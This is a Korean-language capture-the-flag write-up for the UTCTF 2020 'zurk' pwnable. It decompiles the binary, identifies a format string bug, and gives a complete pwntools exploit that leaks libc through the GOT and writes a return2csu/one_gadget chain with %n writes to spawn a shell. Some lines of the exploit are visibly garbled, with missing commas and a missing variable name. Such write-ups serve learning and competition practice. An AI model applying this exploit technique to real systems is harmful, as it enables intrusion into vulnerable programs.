SDJ( 수돈재 아님 ㅎ )

utctf 2020 - zurk 본문

write-up/pwnable

utctf 2020 - zurk

ShinDongJun 2020. 3. 9. 18:41

이래저래 고민을 좀 많이한 문제다... 마땅히 생각이 나지않아 노가다(?) 방식으로 쉘을 땄는데.. 다른 방법이 있는지는 찾아봐야겠다.

 

일단 이 글에서 사용한 방법은 return2csu방법을 사용했다.

 

 

보호기법은 Partial RELRO만 걸려있고 전부 꺼져있다.

 

바이너리를 분석해보자.

 

먼저 main을 보면

1
2
3
4
5
6
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
    welcome();
    while ( 1 )
        do_move();
}
 

welcome()함수를 호출하고 while로 do_move()함수를 무한으로 호출하는 것을 볼 수 있다.

 

welcome함수는 그냥 puts함수이므로 넘어가고,

do_move()함수를 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int do_move()
{
    int result; // eax
    char s[64]; // [rsp+0h] [rbp-40h]
 
    puts("What would you like to do?");
    fgets(s, 50, stdin);
    s[strcspn(s, "\n")] = 0;
    if ( !strcmp(s, "go west") )
    {
        puts("You move west to arrive in a cave dimly lit by torches.");
        result = puts("The cave two tunnels, one going east and the other going west.");
    }
    else if ( !strcmp(s, "go east") )
    {
        puts("You move east to arrive in a cave dimly lit by torches.");
        result = puts("The cave two tunnels, one going east and the other going west.");
    }
    else
    {
        printf(s);
        result = puts(" is not a valid instruction.");
    }
    return result;
}

else문에서 Format String Bug가 발생하는 것을 볼 수 있다.

 

일단 맨처음 NX가 꺼져있었기 때문에 fsb로 어떻게든 shellcode를 bss에 쓴다음에 뛸 수 있지 않을까 생각을 했었는데

fsb가 do_move()안에서 무한으로 도는것이 아니고 do_move -> main -> do_move 로 움직여서 sfp나 ret를 변조하고싶어도 안될 것같다는 직감이 들어서 과감하게 return2csu를 선택했다.

( 사실 쉘코드가 더 쉬웠다... )

 

다른 방법이 있을까 생각을 해봤는데 마땅히 좋은생각이 잘 나지 않았다.. 

결국 노가다를 선택

 

ret를 마지막에 return2csu 의 pop시작주소로 덮고 한번에 쉘을 따야하기 때문에 ret 다음부터 차례대로 fsb로 값을 적어줬다.

 

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
 
server = 1
if server:
    p = remote("binary.utctf.live"9003)
else:
    p = process("./pwnable")
 
puts_got = 0x0000000000601018
call_csu = 0x00000000004007C0
 
pay = ''
pay += '%4$lx'
p.sendline(pay)
 
p.recvuntil("do?\n")
buf_addr = int(p.recv(12), 16)
print "buf_addr : " + hex(buf_addr)
 
ret = buf_addr + 0x48
print "ret : " + hex(ret)
 
pay = ''
pay += '%8$s'
pay += 'a'*(0x10 - len(pay))
pay += p64(puts_got)
p.sendline(pay)
 
p.recvuntil("do?\n")
libc_puts = u64(p.recv(6).ljust(8'\x00'))
print "libc_puts : " + hex(libc_puts)
 
libc_base = libc_puts - 0x6f690
print "libc_base : " + hex(libc_base)
libc_system = libc_base + 0x45390
print "libc_system : " + hex(libc_system)
one = [0x452160x4526a0xf02a40xf1147]
 
one_gadget = libc_base + one[2]
 
payload = [
    0,        # 16 -> rbx
    0,        # 17 -> rbp
    buf_addr + 0x18,    # 18 -> r12
    0,        # 19 -> r13
    0,        # 20 -> r14
    0,        # 21 -> r15
    call_csu, # loop    # 22
]
 
= 0
for i in payload:
    want_addr = buf_addr + 0x50 + 0x8*l
    if i != 0:
        for j in range(8):
            k = (i >> j*8& 0xff
 
            if k == 0:
                break
 
            pay = ''
            pay += '%' + str(k) + 'c' + '%10$hhn'
            pay += 'a'*(0x20-len(pay))
            pay += p64(want_addr + j)
            p.sendline(pay)
    else:
        pay = ''
        pay += '%10$ln'
        pay += 'a'*(0x20 - len(pay))
        pay += p64(want_addr)
        p.sendline(pay)
 
    l += 1
 
pay = ''
pay += '%' + str(0x07DA+ 'c' + '%10$hn'
pay += 'a'*(0x18-len(pay))
pay += p64(one_gadget)
pay += p64(ret)
p.sendline(pay)
 
p.interactive()

 

 

 

 

 

 

FLAG : utflag{wtf_i_h4d_n0_buffer_overflows}

'write-up > pwnable' 카테고리의 다른 글

utctf 2020 - zurk  (0) 2020.03.09
utctf 2020 - Cancelled  (0) 2020.03.09
utctf 2020 - bof  (0) 2020.03.09
Aeroctf 2020 - Shell Me If You Can  (0) 2020.03.01
facebook ctf 2019 - overfloat  (0) 2020.02.07
Comments